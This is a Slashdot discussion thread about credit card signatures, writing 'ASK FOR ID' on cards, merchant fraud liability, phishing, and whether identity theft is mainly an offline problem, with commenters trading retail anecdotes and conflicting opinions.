    10. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      I didn't know they had credit cards in Hazzard County, Rosco.

    11. Re:It amazes me how bad retailers are by damiangerous · · Score: 4, Informative

      A card that says "Ask for ID" is treated as an unsigned card. A merchant should make you sign the card before accepting it. Otherwise they're not eligible for "Card Present" protection.

    12. Re:It amazes me how bad retailers are by NeoSkandranon · · Score: 1

      Is the point of the signature bar on a card not so you can compare the signed reciept to the (supposed) signature of the holder? Leaving a card unsigned makes it extremely easy for someone to just sign the back with the name on the front and go to town.

      On the other hand if you ask for ID you can usually go "oh, crap, i don't have it on me" and 9 times of 10 if you don't make an immediate move to go back out to the car to get it, the person will ring the card up as usual.

      Someone else commented that Post offices won't take your card unless it has your acutal signature on it. I wonder how many other establishments do that.

      --
      If you can't see the value in jet powered ants you should turn in your nerd card. - Dunbal (464142)
    13. Re:It amazes me how bad retailers are by GlacierDragon · · Score: 1

      My card says "see ID" on it so sometimes I hand over my drivers license with the card. I often have to explain why I did so. I too worked in retail. I saw many cards with no signature on it. I would suggest to the customer that if they didn't want to sign it that they write something such as See ID on it. (I've also seen CID, I bet that throws some people...) More than one customer said they didn't sign it so no one could use it if they steal it. I would explain that if someone stole the card they would sign it themselves and then the signature would be guaranteed to match. Some people would ask to borrow my pen at that point to write "See ID" on the card. But many just returned the card to their wallet unsigned.

      --
      http://glacierdragon.smugmug.com - Check out my photos. No need to buy, even though I do need the money!
    14. Re:It amazes me how bad retailers are by Osty · · Score: 2, Interesting

      My girlfriend works for a financial institution. She has also learned to do what you mention. However, there are places that will not accept your card if not properly signed, and ASK FOR ID is not a proper signature. Fortunately, these places are far and few between. If more people signed their cards in this manner, maybe they'd come around.

      The problem is that most credit cards are not valid without the cardholder's signature (actually, I'm pretty sure all credit cards are invalid unless signed, but not all credit cards say, "Authorized Signature. Not valid unless signed," on the back). Unless your full name happens to be "ASK FOR ID", your card with that signature is no longer valid. Any place accepting credit cards as a form of payment can legally decline your card as payment if you have not properly signed it. That most places accept your card anyway is due to a number of reasons:

      • Low-paid cashiers just don't care
      • Poor employee education on the proper acceptance of legal tender
      • Many places don't even look at the back of the card, so they don't know if it's signed or not
      Even when you have "ASK FOR ID" on your card, 99% of the time you'll never be asked for your ID. That 1% of the time, you can just say, "Sorry, I don't have my ID on me," and I don't know of any cashier that would then turn down your sale.

      A long time ago, I worked in a store that did refuse unsigned and "ASK FOR ID"-signed credit cards (it was a Best Buy store, and they had that policy for a few years -- I'm sure they've dropped it by now, but I thought it was a good policy). When I got an unsigned credit card, I asked the customer to sign it (and verified against a driver's license), or I would refuse them sale. When I got an "ASK FOR ID"-signed card, I flat-out refused it. In every single case, my supervisor backed me up. Unless the customer had another form of payment, they weren't leaving the store with the merch they wanted to buy. Now, I know Best Buy is not known for having the best customer service, but in this one instance I think they were right and the customer truly was wrong.

    15. Re:It amazes me how bad retailers are by Osty · · Score: 1

      I don't think he meant he signs them on the writable strip, I think he meant he writes that with a felt tip marker under his regular signature or something. That's what I do anyway ;)

      You're a minority, then. Every card I've ever seen (I worked retail through high school and college) with "ASK FOR ID", "See ID", "CID", or similar on it has done so in lieu of a proper authorized signature. In that case, the card is invalid and the Post Office is completely within their rights to reject it as payment.

      Out of curiosity, how often are you asked for your ID when using your card? 1 in 5? 1 in 10? 1 in 100? Less? Never?

    16. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      I can't stand idiots like you. You nonchalantly hand your "check id" credit card to the waitstaff at the end of the meal and let them walk off and start to run the card, only so they can walk back and ask for your ID.

      If you write "check id" on the back of your card then for god's sake hand over your id at the same time that you hand over your card!

    17. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      If you're going to ignore where it says "NOT VALID UNLESS SIGNED" on the back of your card, why shouldn't people ignore where you've written "ASK FOR ID"? The post office is the one place that gets it right. If your card isn't signed, they ask you to sign the back and show them your ID. If you refuse, they refuse to accept your invalid card as a form of payment.

    18. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      No, but it does require you to ask for ID. How many retailers actually do that?

    19. Re:It amazes me how bad retailers are by spac3manspiff · · Score: 1

      How many times are you asked for ID online?

    20. Re:It amazes me how bad retailers are by el-spectre · · Score: 1

      Incidently, this generally invalidates the card. Most cardholder agreements say that it isn't useable until you sign the card.

      Not that anyone enforces this, of course...

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
    21. Re:It amazes me how bad retailers are by TrippTDF · · Score: 1

      I was an assistant at a company, and spent a lot of my time running around buying things with the company credit card. I'm very clearly male, and the name on the card was very clearly female. No one EVER questioned it, and i used it daily for over a year.

    22. Re:It amazes me how bad retailers are by hal2814 · · Score: 2, Insightful

      You do not have to ask for id just because it says to on the card, but every credit card merchant account agreement I've ever been part of (as a tech consultant for several clothing stores) states that we must verify that the signture on the back of the card matches the one on the receipt and/or check for proper identification. It might not be store policy, but the store did agree to do either check the signature or id and as a consumer, I'd like to do all I can to ensure that the store lives up to their part of the bargain.

    23. Re:It amazes me how bad retailers are by hal2814 · · Score: 1

      I said I "SIGN MY NAME and then put ASK FOR ID next to it." I did sign it and therefore it is usable. I just happen to write my t (last letter in my last name) like this: "t ASK FOR ID"

    24. Re:It amazes me how bad retailers are by kaustik · · Score: 1

      I am not sure what you mean by "it", but there are no laws that I know of that require you to show ID when using a credit card to purchase an item. In fact, I would think that there would be laws against such a thing, as this would present the cashier not only with your credit card number, but with other identifying information (DL number) as well. That would be further inviting identity theft upon yourself.
      Some cards have a saying on the back that goes something like "Card not valid if not signed". Writing "ASK FOR ID" is not a signature, and would render the card not valid.

    25. Re:It amazes me how bad retailers are by Violet+Null · · Score: 2, Interesting

      It's not an order to the shopkeeper; it's in the shopkeeper's best interests to avoid credit card fraud. If a shopkeeper sells product and it turns out the charge was fraudulent, the shopkeeper gets no money and is out the product.

      There's no law saying that the shopkeeper has to follow my orders if I wear a shirt that says, "Videotape me to make sure I don't shoplift," but they seem to do it alot anyways.

    26. Re:It amazes me how bad retailers are by el-spectre · · Score: 1

      ah, I missed that. When I used to cashier, most folks who pulled this stunt didn't have the name.

      I always figured that if you could fake an embossed credit card, then you could fake a (then - 10 years ago) much easier drivers license.

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
    27. Re:It amazes me how bad retailers are by hackstraw · · Score: 2, Interesting

      Nowhere in either the store policy, or state law, did it mention anything about following cutomer direction on the back of a credit card.

      There is a thing called common sense.

      I put in big capitol letters with a marker SEE ID on my credit cards, and I don't tell retailers its the law or store policy or anything else for that matter if they don't check it. I will say that I have noticed a much greater likelihood of the retailer checking my ID. I will also bet my signature on a napkin that the odds of a "bad guy" trying to use this CC at a retail place is about 0, and the likelihood that it will be used somewhere else is probably lower than having my scribble that noone on the planet is going to compare or question. See this link for a very funny investigation into how stupid a signature on a receipt can be without any question http://www.thescreamonline.com/cartoons/cartoons3- 3/

      Lighten up a bit... Or, are you really 17 too?

    28. Re:It amazes me how bad retailers are by Rosco+P.+Coltrane · · Score: 1

      Out of curiosity, how often are you asked for your ID when using your card? 1 in 5? 1 in 10? 1 in 100? Less? Never?

      Most cashiers just look at me with a stupid grin, and barf out something like "oh, you do that for protection then? Pretty wise eh, I should do that too" and let me go without checking my ID. When I ask them to check it anyway, they usually turn red and tell me only the real card owner would ask that, and so therefore they don't need to now.

      Anyway, most cashiers are dumb as bricks, "ASK FOR ID" sign or not.

      --
      "A door is what a dog is perpetually on the wrong side of" - Ogden Nash
    29. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      She said I was the first person she who had ever done that.

      And you believed her?? LOL! Yeah right... I worked as a salesman for a while, I asked everybody to give me their name, address and phone number so I could enter them in a (imaginary) contest. Many people refused to, and guess what, I told every. one. of them "you're the first person who's refused to!" And guess what, some changed their mind and gave me their info after hearing that.

      She's probably used the same line on half the customers who sign up. LOL! Let me guess, she was also blonde and looked a bit spacy, like she had no clue, just a drone... right? Buddy, there are more good actors around than you think.

    30. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      Are the credit card companies just stricter over there or something?

      HAHAHA! No, but the British sense of humor sometimes passes way over some Americans' heads.

    31. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      Laws against showing an ID during a purchase? You have to be kidding.

      It is possible that the clerk could get your driver's license number, but they tend to be pretty long and it isn't terribly likely that anyone would remember it without, oh, scanning it or xeroxing it. Anybody who can ought to be driving around the country counting cards in casinos instead.

      It is possible also possible to write "ASK FOR ID" on a spot on the credit card beside the signature, you know. For instance, next to the signature (if your signature is smaller than mine, anyway) or on a sticker.

    32. Re:It amazes me how bad retailers are by ShawnDoc · · Score: 1

      Actually, stores are not supposed to accept a visa card (not sure about the others) unless it is signed on the back. I used to do what you said, but I have had stores refuse to accept my card because it was not signed. So now I just leave it blank. No ones refused to take it, and they ask for ID more often than when I had "Ask for ID" written on the back. Weird, weird, weird.

    33. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      it's in the shopkeeper's best interests to avoid credit card fraud.

      True.

      If a shopkeeper sells product and it turns out the charge was fraudulent, the shopkeeper gets no money and is out the product.

      False. If the card was present for the transaction, that is to say, the merchant swiped the card or took an impression of the card, called in the transaction to authorize it, and the transaction was authorized, then the merchant will get their money. The credit card company ends up paying for the fraud.

      For card-not-present transactions (ie, mail order, phone orders, and online orders) where the merchant does not see the actual card, the merchant ends up paying for fraudulent transactions.

    34. Re:It amazes me how bad retailers are by Joe5678 · · Score: 2, Funny

      I like how Visa's instructions for what to do when there is no signature, instructs the cashier to make the person sign the card, then check to make sure the signature matches that from the receipt they just signed...

    35. Re:It amazes me how bad retailers are by temojen · · Score: 1

      I went to a craft supply store the other day to buy 4 pieces of matboard, cut to size. They wanted my Phone number, address, credit card number, and annother piece of ID. For a cash sale. No special order, no dangerous goods, no credit, just a fancy piece of cardboard.

      The guy insisted the computer wouldn't accept print the invoice without it. I told him to tell his manager they'd just lost a sale because of their invasive policies.

    36. Re:It amazes me how bad retailers are by temojen · · Score: 1

      Credit Cards are not legal tender. The signed credit slips are a debt instrument (commercial paper) which is also not legal tender. The bank buys this commercial paper, usually at about 98% of face value. Even bank transfers (ie Interac) are not legal tender. Only cash is legal tender.

    37. Re:It amazes me how bad retailers are by temojen · · Score: 1

      Which sucks for those of us with no manual dexterity due to injuries or neurological conditions.

    38. Re:It amazes me how bad retailers are by soft_guy · · Score: 1

      Tell them your address is "123 Fake Street".

      --
      Avoid Missing Ball for High Score
    39. Re:It amazes me how bad retailers are by LetterJ · · Score: 2, Insightful

      The flip side of pretty much every cardholder agreement is that unless the card is signed, it's not even valid. So, technically, the merchant should be entirely refusing the transaction for all of the "see id" crowd.

      When I worked in retail, I often didn't check the ID (because I'd already checked it for a given customer 3-4 times before and have a pretty good memory) and occasionally would get yelled at with the exact argument you mention, i.e. the store in violation of their merchant agreement. They didn't like it when I threw the fact that they were also in violation each and every time we even ran the card through our store.

    40. Re:It amazes me how bad retailers are by kaustik · · Score: 1

      No, laws against requiring someone to show their Driver License to make a purchase. I'm not stating that there is such a law, only that it would make sense - particularly in light of the "identity theft" topic here.

    41. Re:It amazes me how bad retailers are by kaustik · · Score: 1

      Nice link. I'm usually too lazy to make my signature match, so I just make an "X" on the receipts... even though my actual card has a real signature. The only time this back-fired was when I was signing a ticket for a police officer. He didn't think it was so funny and bent me over backwards on the side of the freeway.
      I didn't mean to sound stiff in my post. It is an ok idea to write "SEE ID" on the card - I agree that it might deter some would-be-fraudsters. However, I think it is unfair to expect a merchant to live by some imaginary rule that consumers make up for themselves.

    42. Re:It amazes me how bad retailers are by abrinton · · Score: 1

      Yes, much stricter. Almost no merchant in Europe will take an unsigned card, or one that says Ask For ID. I even had mine rejected when the signature rubbed off from swiping the card too much! I re-signed it, and still couldn't get anyone to take it. Had to get a new card (and sign it). They are also very good about checking the sig against the receipt.

    43. Re:It amazes me how bad retailers are by FuzzyBad-Mofo · · Score: 1

      A good friend of mine had his wallet stolen, and the perp tried to use his credit cards. Guess how they caught him -- my friend had signed his card "please see id". Think about that next time you start spouting off about "wasting people's time."

    44. Re:It amazes me how bad retailers are by Audigy · · Score: 1

      Hahahahahahaha

      Some of the other articles on that site are downright hilarious, especially the one about Olestra. :D

      --
      [an error occured while processing this directive]
    45. Re:It amazes me how bad retailers are by Mattintosh · · Score: 1

      The best is when some mental giant puts "CID" on their card because they've only heard people tell them to put that on the card. I saw more than a few of these during the time I worked at a grocery store. Most of them did it on their debit card, too.

    46. Re:It amazes me how bad retailers are by FuzzyBad-Mofo · · Score: 3, Interesting

      I believe that writing "please see id" on the back of a credit card is a perfectly valid signature, for the same reason initialing, checking a box online, or marking "x" on a contract is valid. A "signature" does not have to literally be your name, only your "mark." Or are you going to argue that electronic checkboxes do not represent a valid signature?

    47. Re:It amazes me how bad retailers are by goon+america · · Score: 1

      Stricter? Being any less strict than here in the US is a logical possibility that I can't wrap my head around. I CANNOT REMEMBER the last time any register clerk has looked at either the signature on my card or on the signed receipt.

      Even better are the do-it-yourself card swipe terminals they seem to have everywhere now. Swipe the card yourself, and record a grossly unintelligible electronic signature. Sometimes it'll throw up a little alert that says "hand card to clerk" so they can check the back. This is the part where you laugh to yourself and do nothing, and wait for the guy to hit his "OK" button and not have checked it. Maybe he's laughing to himself, too. I don't know.

      Yeah, so "more strict than here" basically reads as "not here" since to be as strict as here it would have to be here and to be any stricter than here it would have to be anywhere else but here. You couldn't get any less strict, except for the little in-crowd humor. I'm not sure why they even bother with the signature brouhaha at all, the only thing I can think of is that it's a joke.

    48. Re:It amazes me how bad retailers are by jpmkm · · Score: 1
      You suck at reading. From the page:
      Ask the cardholder to sign the card and provide current government identification, such as a driver's license or passport (if local law permits).
    49. Re:It amazes me how bad retailers are by Joe5678 · · Score: 1

      It would appear that I do...

    50. Re:It amazes me how bad retailers are by ssand · · Score: 1

      While an excellent idea, unfortunately, a criminal could deface what you have written on your credit card. Hell, half of my pens never seem to work on the back of my credit cards, and I've seen many places, who do not even bother looking at the signature on the back, and the signature you provide.

    51. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      I do that also. Only had one problem in all the years. The US Post Office. They wouldn't accept it cause it wasn't signed. I said, "Here is my Driver's License." They still wouldn't accept it.

      So I wrote a check. Then asked, "Do you want to see my ID?" No, that isn't necessary.

      I wrote the Post Office and complained that they wouldn't accept my 'ASK FOR ID' with my Driver's License, but would accept a check without any ID at all. They said that that was their policy and it was for my protection.

      Freakin idiots!

      So, they lost my business. Any packages go UPS or FedEx now.

    52. Re:It amazes me how bad retailers are by Pig+Hogger · · Score: 2
      I was an assistant at a company, and spent a lot of my time running around buying things with the company credit card. I'm very clearly male, and the name on the card was very clearly female. No one EVER questioned it, and i used it daily for over a year.
      On my first job, my boss sent me do to some errands with the company credit card. At the fist store, it went fine, and at the second one, the store called the credit card company, and I eventually talked to the woman at the CCC. The purchase was declined. I then went to a third store, and they also called the CCC and I also talked to the very same woman at the second store. The said "I'm gonna cancel your boss's credit card!". I replied "go ahead!!!", and I left the store without making the purchases.

      My boss called the credit card company (dunno if he spoke to the same woman) and gave them shit, but the card wasn't cancelled.

      And I was never sent again to do the errands... :)

    53. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      Funny, my wife's credit cards were stolen yesterday. So far she has been told NOT to sign the back of any credit cards by Visa, MasterCard, two police officers, three retail stores, and our bank. Each one volunteered this information without her asking, each stated this should force the clerks to ask for ID. My wife commented that the wording was so similar in each case, that she believed they read the same script. I was present when one officer repeated this recommendation (less than an hour ago) - he said word for word exactly what my wife told me earlier.

      Couldn't be worse...My wife's cards were signed - didn't seem to slow the thief down at all.

    54. Re:It amazes me how bad retailers are by LetterJ · · Score: 4, Interesting

      Then do you also sign the receipt with "please see id"? Because, given the ease with which many state ID cards are forged, checking the name on the card with the name on some sort of ID is less of an indication that the card is owned by the presenter than if the already signed card is signed in the same way as the presenter signs.

      If I steal your wallet and the cards are signed "please see id", all I need to do is print out a quick fake ID with your name, but my signature of your name and my picture and unless someone's good at checking out of state ID's, no one will even notice. If your wallet is full of signed cards, I have to risk signing in front of the cashier and having it look nothing like the back.

    55. Re:It amazes me how bad retailers are by flerchin · · Score: 0

      I've seen a couple people mention this and, at least at the post office in fresno, california, it's not true. I bought a certified letter yesterday with my credit card which has 'ask for ID' on it. They swiped my card, asked for my id, then noticed that my card has 'ask for id' on the signature panel, and then completed the transaction. I'm almost always cashless (since I love to rack up those frequent flyer miles), and I've never, ever, not even once, had my 'ask for id' card rejected, not in europe, asia, best buy, or the post office.

      --
      --why?
    56. Re:It amazes me how bad retailers are by betat · · Score: 1

      heh...compared to what they do here. :)

    57. Re:It amazes me how bad retailers are by MobyDisk · · Score: 1

      In some states, it is ILLEGAL to ask for ID:

      At a local Lowes I had an employee ask for ID. Afterward, I went over to the customer service desk to say thank you for doing that. The manager asked me which cashier did it. I happily told them, thinking I was doing something good. Then the manager told me that it was illegal in the state of Maryland, and that the employee would be warned against doing that again!

      A quick Google search indicates that it is also against the credit card companies' rules, since it is a privacy violation.

    58. Re:It amazes me how bad retailers are by zakezuke · · Score: 1
      You suck at reading. From the page:
      Ask the cardholder to sign the card and provide current government identification, such as a driver's license or passport (if local law permits).


      Everyone sucks at reading that. I used an unsigned card for years. Actually I did "sign it" but for some odd reason the ink refused to stick and it disapeared everytime I put it back in my wallet.

      The few places who asked me to sign my card took extra time to make sure the signature I just signed on my card was the same as what I put on the rescript... and didn't bother to ask for ID.

      --
      There is no sanctuary. There is no sanctuary. SHUT UP! There is no shut up. There is no shut up.
    59. Re:It amazes me how bad retailers are by Osty · · Score: 1

      So far she has been told NOT to sign the back of any credit cards by Visa, MasterCard, two police officers, three retail stores, and our bank. Each one volunteered this information without her asking, each stated this should force the clerks to ask for ID. My wife commented that the wording was so similar in each case, that she believed they read the same script. I was present when one officer repeated this recommendation (less than an hour ago) - he said word for word exactly what my wife told me earlier.

      But what did Visa or MasterCard tell your wife? Unless the police officers were actually FBI, or members of an elite fraud-fighting team (doubtful), I wouldn't trust them. I wouldn't trust retail stores either (from the lowiest cashier on up to the general manager of the store, most retail establishments are pretty damned clueless). Finally, I wouldn't trust the bank unless you spoke to the local fraud expert. A teller at a window or a loan agent just isn't qualified to give this kind of fraud-prevention advice.

      Think about the advice your wife was given. If she doesn't sign the cards, any thief will simply sign them for her, completely cancelling the benefit of making a cashier ask for ID. Of course, if she signs them with "See ID", the card is no longer valid, so that's out as well. No, the proper approach is to sign the card with your authorized signature, and immediately call the card issuer in the event of a theft. The quicker you call, the quicker they can cancel the card and send you a new one with a new number. If you don't realize your card has been stolen for a few hours, you're not totally out of luck. Still call and cancel the card. All card issuers have a limit on the amount of charges you can be held accountable for in the case of theft, assuming you can't prove you didn't make the purchases (your card was used in a town halfway across the state from where you live, for example).

      Common sense makes it very obvious how to handle a credit card.

      • Do sign the card so a thief can't
      • Don't invalidate the card with "See ID" or similar
      • Don't leave the card unsigned
      • Do immediately call in a lost or stolen card as soon as you realize it's gone. Even if you think you just lost it, you're better off cancelling the card and getting a new one than trying to backtrack to wherever you left it
      • Do be smart about receipts, when you get the chance. Store copies often have your full card number on them, including expiration date. If you're in a scenario where you can scratch that out (restaurant, signing a triplicate receipt rather than one that prints a second customer copy, etc), make sure you do.
      • Don't have more cards than absolutely necessary, and if you must have special store cards (for financing deals on big ticket purchases), don't carry them around. The chance of you actually needing that Sears, Best Buy, Home Depot, etc card at any given time is very low, and if you do need it any worthwhile store can look up your account using another form of ID (driver's license, passport). Get a Visa or MasterCard and a Discover or AmEx for normal usage, and leave any specialty cards at home where they're safe from loss or theft.
    60. Re:It amazes me how bad retailers are by Stinky+Cheese+Man · · Score: 1
      > I write "ASK FOR ID" on the back of all my credit/debit cards.

      Me too, but there is one place that does not work. The US Post Office. They have rules that specifically prohibit accepting credit cards that say "SEE ID". Since I do a lot of business at the Post Office, I had to ask my bank for another copy of my credit card, so I could sign it in the approved manner.

      SCM

    61. Re:It amazes me how bad retailers are by pod · · Score: 1
      But while in london, I almost had a pub owner take my CC because my name was't "ASK FORD ID", arg.

      Is there some law that requires your signature be the same as your name?

      --
      "Hot lesbian witches! It's fucking genius!"
    62. Re:It amazes me how bad retailers are by pod · · Score: 1
      My boss called the credit card company (dunno if he spoke to the same woman) and gave them shit, but the card wasn't cancelled.

      Why would he give them shit? They were doing their jobs, and pretty well at that, by declining the purchase. It obviously wasn't your credit card. What if you had stolen it?

      --
      "Hot lesbian witches! It's fucking genius!"
    63. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      Living in Europe I can tell that yes, they're stricter here.
      In part that's because there's limits to how far companies are indemnified for damages due to fraud.
      So if they accept a stolen card for a 1000 purchase they may only get half that back.
      And if they can't show they've checked the signature against the card (iow, if the card was unsigned or the sig was different) they don't get anything.

      Effectively the only places I don't have the sig checked is places they know me (the gas station where I come twice a week, the photostore I purchase for thousands a year and have for years, that kind of places).

    64. Re:It amazes me how bad retailers are by runamok1 · · Score: 1
      I had a nice little time following the adventures of John Hargrave in his various credit card adventures...

      here, here, here and here.

      It's really quite amazing what you can get away with.

      I must look very sketchy (shaved head, occassionally possessing a goatee) because I get asked for ID OFTEN in CA.

    65. Re:It amazes me how bad retailers are by mattstorer · · Score: 1

      Perhaps it isn't the job of the cashier to check the back of a credit card and ask for ID if that's what's written there, BUT let me ask you this: if you had just stolen a credit card, and you saw "Ask for ID" on the back, how likely would you be to use that card, knowing that someone might ask you for ID?

    66. Re:It amazes me how bad retailers are by ScoLgo · · Score: 1

      "I believe that writing "please see id" on the back of a credit card is a perfectly valid signature..."

      Yeah, I used to do this until I ran into a grumpy postal worker. He refused to accept my visa card to pay for a roll of stamps because "it wasn't signed on the back". This is a card that has my signature permanently printed on the front of it right next to my freakin' picture!! Obviously, the guy was just having a minor power-trip moment and I was the lucky one that he decided to play the game with.

      I thought about asking for his supervisor, but he had the look of a guy who just might have a BFG9000 in his back pocket and who just might be willing to use it if pushed too far.

      So I left the stamps there and picked some up at the grocery store where I can just swipe my card through the reader without having to hand it over at all. Which is like almost no security at all, is it?

      --
      "Michael, I did nothing. I did absolutely nothing - and it was everything that I thought it could be."
    67. Re:It amazes me how bad retailers are by sootman · · Score: 1

      My wife used to do that, but many clerks still didn't care. And now that people are used to not signinng receipts when they make purchases online, a lot of places don't even ask to see IDs under a certain amount. You can use a credit card at a McD's drive through without ID or an autograph, and charge up to $100 at Target.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    68. Re:It amazes me how bad retailers are by spikedvodka · · Score: 1

      far and few between, but try using your "ASK FOR ID" only card at a branch of the US Postal Service, and watch yourself get turned down (hence why mine is signed, and says "ask for ID")

      --
      I will not give in to the terrorists. I will not become fearful.
    69. Re:It amazes me how bad retailers are by SavoWood · · Score: 1

      What kind of card was this? Do you realize Visa and MasterCard are bearer instruments? (AMEX is an owner instrument.) I can give you my card (bearer instrument type) and you can use it until there's no credit left. If I don't report it to the credit card company, nobody should stop you. Unless the credit card company stops the transaction, the clerk shouldn't ask for any ID or even verify the signature.

      A tangent of this; you should sign your own name since signing mine would be forgery.

      Strangely enough, if they do look at the signature line, compare it with the signature on the slip, and it's fraudulent, they can be held liable. It's insane to think every store clerk in the world where the accept credit cards is a handwriting/signature expert.

      In fact, if you look at the vendor agreement, you'll see where such practices are prohibited, and the store could be fined by the credit card company.

      The Loss Prevention Departments of Visa and MasterCard, along with the individual banks are extremely good at identifying questionable purchases.

      A few years ago, I got a call from Nike Online Loss Prevention, and literally at the same time from Visa Loss Prevention (on my mobile phone) about a suspeced fraudulent purchase. They denied the charge, and 20 minutes later, the county police department was dispatched to the person's house. They were arrested, charged, tried, and convicted.

      When a clerk at a store tells me, "It's just for your protection," I laugh, and then start to get angry. It's ignorance, pure and simple.

      --
      Plant a tree in a developing country.
  5. Phishing? by homer_ca · · Score: 2, Insightful

    Do they count phishing as online identity theft? That's really taken off the last year, and it's a lot more efficient than dumpster diving.

    1. Re:Phishing? by Suidae · · Score: 1

      Cleaner too. I don't have to shower nearly as often now that I've switched fo phishing. Highly recommended.

    2. Re:Phishing? by null+etc. · · Score: 3, Informative
      Phishing will really be a threat once phishers become more sophisticated. I receive about 10 phishing attempts per day, and almost always the scam is given away by one of the following:

      1. The phishers attempt to scare me by saying if I don't respond within 24 hours, my account will be disabled. No financial institution would impose a deadline like this, since it's not guaranteed that people check email every day.

      2. The phishers have atrocious spelling, like "we noticed some unnusual activity on your account, and we are going to temporally disable it unless you provide your authentication credintials."

  6. i can confirm this by bird603568 · · Score: 0

    I was at the bowling ally for a party, and used a discover card, (mistake) and a few days latter they called asking if i charged 2000 and some odd dollars to some outdoors store. Clearly, it was the bowling ally guy stole it or sold it to someone. The theif should have spent 200$ at a time not 2xxx$.

  7. Long Live Technology by Anonymous Coward · · Score: 0

    Worship at the altar of technology. It can do no wrong.

  8. Yes but... by kawika · · Score: 4, Insightful

    Identity theft was ALL offline 10 years ago. So are we supposed to ignore the phishing problem until it reaches 50 percent? The rate of growth in the crime is no doubt much higher online, the same way that the growth in Internet ecommerce was much higher the past holiday season.

    Plus, there are some sorts of identity theft that really only make sense online, such as eBay and PayPal scams.

    1. Re:Yes but... by TooTechForYou · · Score: 1

      The problem is not completely ignored. Firefox will tell you you are one the way to a fake site. I don't know if any other browser does this, but it is progress.

      --
      -- Nic
    2. Re:Yes but... by Anonymous Coward · · Score: 0

      Whew. I thought you were gonna ask "does it run on Linux?".

    3. Re:Yes but... by Ayaress · · Score: 2, Interesting

      The point they're trying to make in the article is NOT to ignore the problem. RTFA, mayhap? Meh, what was I thinking?

      Anyway, the point they're trying to make is that the leading reason people who don't shop online give for not shoping online is that they're credit card will be stolen. Consumer's Power says that the reason few people use their online payment system is that they're afraid their credit cards will get stolen. The reason so many people say they won't use online banking is that - suprise suprise - their information will get stolen.

      Those same people, however, have no compunction against handing their cards over to some random guy in a restaraunt and having it taken into another room and then brought back a couple minutes later. They don't think twice when the lady at the grocery store writes their driver's license number on the sheet with the check number. Doesn't worry them at all any time that the credit card is physically in another person's control during a transaction, and worst of all, they never even think that it might be a bad idea to throw away their bank statements.

      The article is about perspective. You can do far more (and there is far more you SHOULD do) offline to protect your identity than you can and should do online.

      Online: Don't fall for stupid phish scams.
      Offline: Write ASK FOR ID on the back of the card.
      Shred your statements.
      Don't use your credit card at restaraunts.
      Make sure your grocery store has one of the credit card scanners where YOU run it through the machine, and not the cashier.

      Most of these come down to the whole thing where all the firewalls and encryption in the world is useless when somebody steals your computer. The weakest points are physical, not digital.

    4. Re:Yes but... by Anonymous Coward · · Score: 0

      > Online: Don't fall for stupid phish scams.
      Correct.

      >Offline: Write ASK FOR ID on the back of the card.
      Wrong. This invalidates your card unless that's your signature in which case it'd better be on your ID as well...

      >Shred your statements.
      And burn the shreds. People have been known to wade through piles of shredded paper to puzzle it back together.

      >Don't use your credit card at restaraunts.
      No. Just don't let the card out of sight. Swipers should be in plain view, best on the counter where you use them yourself.

      >Make sure your grocery store has one of the
      >credit card scanners where YOU run it through the machine, and not the cashier.
      And the same should be true everywhere, see above about restaurants...

    5. Re:Yes but... by Ayaress · · Score: 1

      It doesn't invalidate your card. Do you have citibank? Read their little flyer about ways to avoid identity theft.

  9. with friends like those... by ScentCone · · Score: 4, Interesting

    friendly relatives, neighbors and friends who steal the identity of the victim

    I suppose that relatives that dumb aren't smart enough to sit down and use those browser-cached passwords to access your PayPal account while you're in the bathroom and send themselves some money anyway.

    I'm actually surprised that co-workers aren't a bigger piece of the statistical pie on this one. They often have access to records, PCs, the all important "work number" and so on. I've run across those incidents, and am amazed they're not more common.

    --
    Don't disappoint your bird dog. Go to the range.
  10. Stats and FAs by bartok · · Score: 2, Insightful

    Yeah but if it's 20 million people who lost money enough to average 551$ and onlt 500 000 people who lose a few grand, there's still cause to worry. Statistics can mean anything... especially if like me, you haven't RTFA.

  11. When did it become "identity theft"? by Anonymous Coward · · Score: 1, Interesting
    When did it become "identity theft"?

    Call me crazy, but before the marketroids got a hold of it, it was known as "fraud".

    1. Re:When did it become "identity theft"? by alpha_foobar · · Score: 1

      Yup - its seems exactly the same to me.

    2. Re:When did it become "identity theft"? by jfk3 · · Score: 1

      The parent should be scored up! Referring to this as identity theft is a big part of the problem. It allows credit providers to shift attention to the periferral victim. It's simply fraud between a criminal and irresponsible company that knows better but doesn't want the burden of due diligence. The company that is irresponsibly giving credit should be the victim in this crime, but they simply pass on the loss to all their customers with higher fees.

    3. Re:When did it become "identity theft"? by Cro+Magnon · · Score: 1

      "Identity theft" also sounds scarier in newsbytes. I wasn't just defrauded, I had my identity stolen *gasp*.

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    4. Re:When did it become "identity theft"? by timmyf2371 · · Score: 1

      It's the same reason copyright infringment is called theft - so-called identity theft is also a term which has been beefed up to make it sound scarier when it's merely fraud in the old sense.

      --

      Backup not found: (A)bort (R)etry (P)anic
    5. Re:When did it become "identity theft"? by jfk3 · · Score: 1

      You're abosolutely correct. And accepting/using these propaganda terms only reinforces the legitimacy of them amongst the herd.

    6. Re:When did it become "identity theft"? by Scratch-O-Matic · · Score: 1

      Dude, I am so tired of hearing that phrase, "identity theft." You're absolutely right...most of these cases are simple fraud or theft. To me, it's not identity theft until someone uses your information to open a new account or start some other relationship for the purpose of additional fraud or theft.

      --


      Evil is the money of root.
    7. Re:When did it become "identity theft"? by Anonymous Coward · · Score: 0

      Heh. That is exactly what happened to me. I discovered, when the bills started arriving, that someone had opened up new credit cards in my name, with my address, and using my ssn.

      That's pretty much identity theft. It's also fraud, but they defrauded the credit card companies and the stores, and stole my identity to do it.

  12. Finally... by northcat · · Score: 1

